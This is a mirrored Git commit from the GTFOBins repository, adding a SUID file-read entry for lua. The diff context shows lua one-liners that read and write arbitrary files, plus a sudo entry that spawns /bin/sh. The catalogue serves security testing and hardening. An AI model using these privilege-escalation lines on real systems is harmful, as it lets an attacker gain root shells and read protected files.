mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add SUID [file read] category to lua
This commit is contained in:
parent
47698d0cfb
commit
ae8271292a
@ -59,6 +59,8 @@ functions:
|
|||||||
- code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("DATA"); io.close(f);'
|
- code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("DATA"); io.close(f);'
|
||||||
file-read:
|
file-read:
|
||||||
- code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
|
- code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
|
||||||
|
suid:
|
||||||
|
- code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
|
||||||
sudo:
|
sudo:
|
||||||
- code: sudo lua -e 'os.execute("/bin/sh")'
|
- code: sudo lua -e 'os.execute("/bin/sh")'
|
||||||
limited-suid:
|
limited-suid:
|
||||||
|
Loading…
Reference in New Issue
Block a user